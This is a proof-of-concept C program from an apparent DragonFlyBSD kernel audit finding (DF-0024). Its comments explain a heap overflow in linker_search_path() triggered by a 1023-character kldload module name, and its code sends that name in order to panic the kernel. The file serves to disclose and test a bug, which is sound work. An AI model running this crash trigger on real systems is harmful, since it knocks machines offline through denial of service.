DragonFlyBSD Kernel Audit
DF-0024 / kldload_overflow.c
← back to finding ↓ download raw
/*
 * DF-0024 PoC - heap overflow in linker_search_path() via over-long kldload
 *              module name (root-only; defense-in-depth / local DoS).
 *
 * linker_search_path (sys/kern/kern_linker.c:1458) does
 *     buf = kmalloc(MAXPATHLEN (=1024), M_LINKER, M_WAITOK);
 * and then (1476) strcpy(result + prefix_len, name);  (1480) strcpy(result + result_len, *ext);
 * with NO check that prefix_len + sep + name_len + ext_len + 1 <= MAXPATHLEN.
 *
 * sys_kldload copyinstr()s the user file arg into a MAXPATHLEN buffer (798),
 * so a bare module name can be up to 1023 bytes. With the default linker_path
 * "/boot/kernel" (prefix_len=12 + sep=1 = 13), name(1023), ext ".ko"(3), NUL(1)
 * totals 1040 bytes into a 1024-byte buffer -> ~16-byte heap overflow into
 * adjacent M_LINKER objects.
 *
 * Requires SYSCAP_NOKLD (root); root can already kldload arbitrary .ko giving
 * kernel code execution, so this is a defense-in-depth / local DoS finding, not
 * a new privilege. Trivially panics a stock kernel.
 *
 * Build (DragonFlyBSD):  cc -o kldload_overflow kldload_overflow.c
 * Run as ROOT (disposable VM):  ./kldload_overflow
 *
 * Expected (bug present): kernel panic from heap corruption / slab assertion
 * ("freed pointer ... was modified", malloc red-zone, etc.).
 */

#include <sys/param.h>
#include <sys/linker.h>
#include <string.h>
#include <stdio.h>

int
main(void)
{
	char name[MAXPATHLEN];

	memset(name, 'A', sizeof(name) - 1);
	name[sizeof(name) - 1] = '\0';		/* 1023 'A's */

	printf("[*] kldload(\"%s\") (1023-byte name)\n", name);
	int id = kldload(name);
	if (id < 0)
		perror("kldload (expected on overflow path)");
	printf("[*] kldload returned %d; on a buggy kernel expect a panic on/near "
	    "the overflow\n", id);
	return 0;
}